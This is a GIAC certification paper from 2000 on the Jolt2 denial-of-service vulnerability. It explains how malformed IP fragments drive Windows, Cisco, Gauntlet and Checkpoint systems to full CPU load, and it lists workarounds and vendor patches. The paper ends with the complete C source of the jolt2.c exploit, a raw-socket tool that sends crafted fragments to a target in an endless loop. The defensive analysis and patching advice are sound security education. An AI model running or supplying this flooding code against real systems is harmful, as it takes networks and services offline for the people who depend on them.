Global Information Assurance Certification Paper

Jolt2: DoS that is not just for Windows Anymore

Michael Castro
August 11, 2000

Today's Internet World is awash with constant attempts to hack and ultimately damage in some form computer networks and systems. In February of this year, the public became deftly aware of the dangers as attacks on such large websites as Yahoo, amazon.com and eBay, were brought to public attention. However these attacks have been present on the Internet and in Networks around the world for years. In 1997, Windows became susceptible to one of these Denial of Service attack (DoS)the Jolt 1.0, which was able to bring down Windows95 and NT4. Now in 2000, a new breed has emerged. This new vulnerability allows remote attackers to cause a IP fragment-driven Denial of Service attack on Windows, by causing the target machine to utilize 100% of the CPU time to process illegal fragmented packets. However it has recently been discovered that it also affects certain routers and firewall systems; like the Checkpoint Firewall-1, Network Solutions Gauntlet, and Cisco.

Vulnerable systems:

Windows 95/98/NT4/2000
Be/OS 5.0
Cisco 26xx
Cisco 25xx
Cisco 4500
Cisco 36xx
Network Associates Gauntlet, Webshield
Firewall-1 from Checkpoint on Solaris, NT, and probably other platforms
Nokia firewall
Bay router (Nortel) firewall
Fore (Marconi) (questionable vulnerability)

However, more than 50% of Internet-connected organizations use a firewall that may be vulnerable. The tools needed to attack systems are readily available over the Internet.

Exploit:

The exploit can be found at the end of this document, as provided by Phonix.

Cause & Affect:

This DoS relies on an exploit involving IP fragmentation, which is a process whereby IP datagrams are subdivided into smaller data packets during transit. Fragmentation is required because every network architecture carries data in groups called frames, and the maximum frame size varies from network to network. When an IP datagram enters a network whose maximum frame size is smaller than the size of the datagram, it is split into fragments. Thereafter, the fragments travel separately to their destination, at which point they are re-assembled and processed.

In Windows 9x/ NT4 or 2000, this vulnerability results because of a flaw in the way the system performs IP fragment re-assembly. If a group of IP fragments with a particular type of malformation are directed against a machine, the work factor associated with performing IP fragment re-assembly can be driven arbitrarily high by varying the data rate at which the fragments are sent. In this case, if the fragmented packet is transmitted at a rate of 150 packets per second, the CPU of the target machine will be forced to utilize 100% of resources, potentially causing the machine to halt. The vulnerability results because Windows does not correctly perform IP fragment re-assembly. Most cases however merely are affected as long as the packets are being sent, with the target machine returning to normal once the packet storm is completed.

In the Gauntlet Firewall, the DoS affects HTTP traffic. The attack causes the daemon to crash and dump a core file, thus preventing the HTTP proxy from checking policy, and thereby resulting in new connections been failed. The DoS can also create a vulnerability to execute arbitrary shell commands as root.

In the Checkpoint Firewall-1, the attack finds vulnerability with the fact that this firewall does not usually inspect or log fragmented packets until the packets are re-assembled. Therefore, the Firewall-1 will be forced to utilize 100 % CPU power to attempt to re-assemble the packets and thereby denying service to other services and requests.

Workaround:
Securiteam.com has put out the following workaround for dealing with the Jolt2 DoS

<u>On stateful packet filtering firewalls:</u>

* The packet fails structural integrity tests. The reported length (68) is much larger than the received length (29). However: A broken router may decide to send 68 bytes when forwarding it (adding 39 bytes of random padding).

* This incarnation of the attack is also illegal in that it wraps the IP packet size limit. The IP data length reported is 48, and the offset is 65520.

* If the firewall has any sort of fragment reassembly, it shouldn't forward a single packet, since there are no valid fragments preceding the attack sequence.

* If the firewall maps fragments to open connections, it should detect that there is no open connection for this particular packet, thereby discarding it.

Proxy firewalls:

* A proxy function will never pass this attack pattern to the protected network (assuming that there is no packet filtering functionality applied to the firewall).

* If the proxy firewall is running on a vulnerable OS and doesn't have its own network layer code (relies on the MS stack), the attack will DoS the firewall itself, effectively DoSing your entire connection.

Any other type of Firewall:

*If the firewall does fragment reassembly in an incorrect way (maybe by trusting vulnerable MS stacks to do it), it will be vulnerable to the attack, regardless of which type of firewall it is.

Solution:

All manufacturers have produced patches for their products. Manufacturers have also suggested solutions outside of the patches.
-In the cases of Gauntlet, it is recommended to deny any connection to port 8999 on the firewall.
-For Checkpoint, it is recommended that console logging be disabled.
-Microsoft suggests installation of the patch.
-All other Routers should filter the fragmented IP packets if possible.

Patches:

Windows NT 4.0 Workstation, Server and Server, Enterprise Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20829
Windows NT 4.0 Server, Terminal Server Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830
Windows 2000 Professional, Server and Advanced Server:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20827

Windows 95: http://download.microsoft.com/download/win95/update/8070/w95/EN-US/259728USA5.EXE

Windows 98: http://download.microsoft.com/download/win98/update/8070/w98/EN-US/259728USA8.EXE

Checkpoint: http://www.checkpoint.com/techsupport/alerts/ipfrag_dos.html
Network Associates: http://www.tis.com/support/cyberadvisory.html

Conclusion:

DoS attacks, and ultimately dealing with them, are in reality part of the everyday world of system administration. The attacks like this one, are readily available on the Internet for any malicious user to download and set loose on a unsuspecting system. As a system administrator, it is best vigilance to ensure that up to date software is used, patches are promptly applied, systems are monitored and that every effort is made to first avoid these attacks, and if needed, deal with them if they do compromise your system. Ultimately, one has to remember that although this particular attack will ultimately be overcome, a newer breed of attack has already been developed and could affect your system at any time.

References:

SecuriTeam.com. "Jolt2 – a new Windows DoS attack" May 27/2000
URL: http://www.securiteam.com/exploits/Jolt2_-_a_new_Windows_DoS_attack.html

ICSA.net. "Hype or Hot"
URL: http://icsa.net/html/hypeorhot/jolt.shtml

Microsoft Security Bulletin (MS00-029) May 19, 2000
URL: http://www.microsoft.com/technet/security/bulletin/ms00-029.asp

Multiple Vendor Fragmented IP Packets DoS Vulnerability May 19, 2000
URL:
http://securityfocus.com/frames/?content=/vdb/bottom.html%3Fsection%3Dsolution%26vid%3D1236

EXPLOIT

```
/*
 * File:   jolt2.c
 * Author: Phonix <phonix@moocow.org>
 * Date:   23-May-00
 *
 * Description: This is the proof-of-concept code for the
 *              Windows denial-of-service attack described by
 *              the Razor team (NTBugtraq, 19-May-00)
 *              (MS00-029).  This code causes cpu utilization
 *              to go to 100%.
 *
 * Tested against: Win98; NT4/SP5,6; Win2K
 *
 * Written for: My Linux box.  YMMV.  Deal with it.
 *
 * Thanks: This is standard code.  Ripped from lots of places.
 *         Insert your name here if you think you wrote some of
 *         it.  It's a trivial exploit, so I won't take credit
 *         for anything except putting this file together.
 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct _pkt
{
 struct iphdr    ip;
 union {
   struct icmphdr  icmp;
   struct udphdr   udp;
 }  proto;
 char data;
} pkt;

int icmplen  = sizeof(struct icmphdr),
   udplen   = sizeof(struct udphdr),
```

```
    iplen    = sizeof(struct iphdr),
    spf_sck;

void usage(char *pname)
{
  fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
          pname);
  fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
  exit(0);
}

u_long host_to_ip(char *host_name)
{
  static  u_long ip_bytes;
  struct hostent *res;

  res = gethostbyname(host_name);
  if (res == NULL)
    return (0);
  memcpy(&ip_bytes, res->h_addr, res->h_length);
  return (ip_bytes);
}

void quit(char *reason)
{
  perror(reason);
  close(spf_sck);
  exit(-1);
}

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
  int     bs, psize;
  unsigned long x;
  struct  sockaddr_in to;

  to.sin_family = AF_INET;
  to.sin_port = 1235;
  to.sin_addr.s_addr = dst_addr;

  if (port)
    psize = iplen + udplen + 1;
  else
    psize = iplen + icmplen + 1;
  memset(&pkt, 0, psize);
```

```
  pkt.ip.version = 4;
  pkt.ip.ihl = 5;
  pkt.ip.tot_len = htons(iplen + icmplen) + 40;
  pkt.ip.id = htons(0x455);
  pkt.ip.ttl = 255;
  pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
  pkt.ip.saddr = src_addr;
  pkt.ip.daddr = dst_addr;
  pkt.ip.frag_off = htons (8190);

  if (port)
  {
   pkt.proto.udp.source = htons(port|1235);
   pkt.proto.udp.dest = htons(port);
   pkt.proto.udp.len = htons(9);
   pkt.data = 'a';
  } else {
   pkt.proto.icmp.type = ICMP_ECHO;
   pkt.proto.icmp.code = 0;
   pkt.proto.icmp.checksum = 0;
  }

  while (1) {
   bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
           sizeof(struct sockaddr));
  }
  return bs;
}

int main(int argc, char *argv[])
{
  u_long  src_addr, dst_addr;
  int i, bs=1, port=0;
  char hostname[32];

  if (argc < 2)
   usage (argv[0]);

  gethostname (hostname, 32);
  src_addr = host_to_ip(hostname);

  while ((i = getopt (argc, argv, "s:p:h")) != EOF)
  {
   switch (i)
   {
    case 's':
```

```
      dst_addr = host_to_ip(optarg);
      if (!dst_addr)
        quit("Bad source address given.");
      break;

    case 'p':
      port = atoi(optarg);
      if ((port <=0) || (port > 65535))
        quit ("Invalid port number given.");
      break;

    case 'h':
    default:
      usage (argv[0]);
   }
 }

 dst_addr = host_to_ip(argv[argc-1]);
 if (!dst_addr)
   quit("Bad destination address given.");

 spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
 if (!spf_sck)
   quit("socket()");
 if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
     sizeof(bs)) < 0)
   quit("IP_HDRINCL");

 do_frags (spf_sck, src_addr, dst_addr, port);
}
```